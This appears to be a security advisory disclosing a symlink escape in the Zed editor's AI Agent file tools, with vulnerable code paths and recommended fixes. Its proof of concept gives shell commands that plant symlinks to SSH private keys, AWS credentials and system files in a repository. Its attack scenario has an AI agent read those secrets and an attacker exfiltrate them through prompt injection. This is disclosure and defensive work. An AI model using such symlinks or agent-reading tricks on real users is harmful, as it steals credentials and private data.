Summary
A symlink escape vulnerability in Zed's Agent file tools (read_file, edit_file) allows reading and writing files outside the project directory when a project contains symbolic links pointing to external paths. This bypasses the intended workspace boundary and privacy protections (file_scan_exclusions, private_files), potentially leaking sensitive user data to the LLM.
Severity: High
CWE: CWE-59 (Improper Link Resolution Before File Access)
Environment Tested
- Zed Version: 0.219.5
- OS: macOS
- Workspace Mode: Restricted Mode (untrusted project)
- Result: Vulnerability works even with restricted mode enabled
Note: Opening the project in "Restricted Mode" does NOT prevent the symlink escape. The Agent can still read files outside the project boundary via symlinks.
Details
The Agent tools validate file paths using worktree-relative paths and exclusion patterns, but they never resolve symlinks to check if the target is outside the project.
Vulnerable Code Path
-
ReadFileTool::run (crates/agent/src/tools/read_file_tool.rs:115-155)
- Calls
find_project_path() to validate path is in project
- Calls
absolute_path() to get the file location
- Checks
is_path_excluded() and is_path_private() on the logical path only
- Reads the file content (OS follows symlink)
-
Project::absolute_path (crates/project/src/project.rs:4571-4576)
- Delegates to
Worktree::absolutize()
-
Worktree::absolutize (crates/worktree/src/worktree.rs:2208-2217)
- Simply concatenates paths without canonicalization
- Does not check if the result escapes the worktree root
// worktree.rs:2208-2217 - No symlink resolution
pub fn absolutize(&self, path: &RelPath) -> PathBuf {
if path.file_name().is_some() {
let mut abs_path = self.abs_path.to_string();
for component in path.components() {
abs_path.push_str(component); // Just concatenates
}
PathBuf::from(abs_path)
} else {
self.abs_path.as_path().to_path_buf()
}
}
Security Intent Already Exists
The codebase shows clear security intent:
- Path traversal is blocked: Test at
read_file_tool.rs:801-815 explicitly blocks ../ traversal
- External tracking exists: The
Entry.is_external field tracks symlinks that escape the worktree (worktree.rs:3377-3384)
- Privacy settings exist:
file_scan_exclusions and private_files are checked
However, is_external is never enforced in agent tools.
PoC
Step 1: Create a malicious project
# Create project structure
mkdir -p poc-symlink/docs poc-symlink/src
# Add legitimate-looking files
echo "# Demo Project" > poc-symlink/README.md
echo "fn main() { println!(\"Hello\"); }" > poc-symlink/src/main.rs
# Create symlinks to sensitive files OUTSIDE the project
ln -s /etc/passwd poc-symlink/docs/passwd_leak.txt
ln -s /etc/hosts poc-symlink/docs/hosts_leak.txt
ln -s ~/.ssh/id_rsa poc-symlink/docs/ssh_key.txt
ln -s ~/.aws/credentials poc-symlink/docs/aws_creds.txt
ln -s ~/.gitconfig poc-symlink/docs/git_config.txt
Step 2: Verify symlinks point outside project
$ ls -la poc-symlink/docs/
total 0
lrwxr-xr-x 1 user staff 11 Jan 21 14:29 passwd_leak.txt -> /etc/passwd
lrwxr-xr-x 1 user staff 10 Jan 21 14:29 hosts_leak.txt -> /etc/hosts
lrwxr-xr-x 1 user staff 25 Jan 21 14:29 ssh_key.txt -> ~/.ssh/id_rsa
lrwxr-xr-x 1 user staff 30 Jan 21 14:29 aws_creds.txt -> ~/.aws/credentials
lrwxr-xr-x 1 user staff 24 Jan 21 14:29 git_config.txt -> ~/.gitconfig
Step 3: Open project in Zed and use Agent
Step 4: Ask the Agent to read the symlinked file
In the Agent chat, type:
Please read docs/passwd_leak.txt
Expected Result (Vulnerable)
The Agent returns the contents of /etc/passwd:
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
...
Expected Result (Secure)
Error: Cannot read file - symlink points outside project boundary
Impact
Who is affected?
- Any user who opens a project containing symlinks in Zed and uses the Agent feature
- This includes cloning repositories from GitHub, GitLab, etc.
Attack scenario
- Attacker creates a malicious repository with symlinks like
docs/readme.txt -> ~/.ssh/id_rsa
- Victim clones the repository and opens it in Zed
- Victim asks the Agent to "read the docs" or "summarize the project"
- Agent reads symlinked files, leaking sensitive data to the LLM
- Attacker can exfiltrate secrets via prompt injection techniques
What can be leaked?
- SSH private keys (
~/.ssh/id_rsa, ~/.ssh/id_ed25519)
- Cloud credentials (
~/.aws/credentials, ~/.config/gcloud/)
- Git credentials (
~/.gitconfig, ~/.git-credentials)
- Shell history (
~/.bash_history, ~/.zsh_history)
- System files (
/etc/passwd, /etc/hosts)
Recommended Fix
The simplest fix is to check the is_external flag that is already tracked:
// In ReadFileTool::run(), after getting the entry:
if let Some(entry) = project.entry_for_path(&project_path, cx) {
if entry.is_external {
return Task::ready(Err(anyhow!(
"Cannot read file: symlink points outside project boundary"
)));
}
}
Alternatively, canonicalize the path and verify it's still inside the worktree:
let canonical = std::fs::canonicalize(&abs_path)?;
let worktree_root = std::fs::canonicalize(worktree.abs_path())?;
if !canonical.starts_with(&worktree_root) {
return Err(anyhow!("Path escapes project boundary"));
}
The same check should be added to:
EditFileTool (edit_file_tool.rs)
ListDirectoryTool (if exists)
- Any other agent tool that accesses files
References
Patches
Summary
A symlink escape vulnerability in Zed's Agent file tools (
read_file,edit_file) allows reading and writing files outside the project directory when a project contains symbolic links pointing to external paths. This bypasses the intended workspace boundary and privacy protections (file_scan_exclusions,private_files), potentially leaking sensitive user data to the LLM.Severity: High
CWE: CWE-59 (Improper Link Resolution Before File Access)
Environment Tested
Details
The Agent tools validate file paths using worktree-relative paths and exclusion patterns, but they never resolve symlinks to check if the target is outside the project.
Vulnerable Code Path
ReadFileTool::run (
crates/agent/src/tools/read_file_tool.rs:115-155)find_project_path()to validate path is in projectabsolute_path()to get the file locationis_path_excluded()andis_path_private()on the logical path onlyProject::absolute_path (
crates/project/src/project.rs:4571-4576)Worktree::absolutize()Worktree::absolutize (
crates/worktree/src/worktree.rs:2208-2217)Security Intent Already Exists
The codebase shows clear security intent:
read_file_tool.rs:801-815explicitly blocks../traversalEntry.is_externalfield tracks symlinks that escape the worktree (worktree.rs:3377-3384)file_scan_exclusionsandprivate_filesare checkedHowever,
is_externalis never enforced in agent tools.PoC
Step 1: Create a malicious project
Step 2: Verify symlinks point outside project
Step 3: Open project in Zed and use Agent
Step 4: Ask the Agent to read the symlinked file
In the Agent chat, type:
Expected Result (Vulnerable)
The Agent returns the contents of
/etc/passwd:Expected Result (Secure)
Impact
Who is affected?
Attack scenario
docs/readme.txt -> ~/.ssh/id_rsaWhat can be leaked?
~/.ssh/id_rsa,~/.ssh/id_ed25519)~/.aws/credentials,~/.config/gcloud/)~/.gitconfig,~/.git-credentials)~/.bash_history,~/.zsh_history)/etc/passwd,/etc/hosts)Recommended Fix
The simplest fix is to check the
is_externalflag that is already tracked:Alternatively, canonicalize the path and verify it's still inside the worktree:
The same check should be added to:
EditFileTool(edit_file_tool.rs)ListDirectoryTool(if exists)References
crates/agent/src/tools/read_file_tool.rscrates/agent/src/tools/edit_file_tool.rscrates/worktree/src/worktree.rs(Entry.is_external)Patches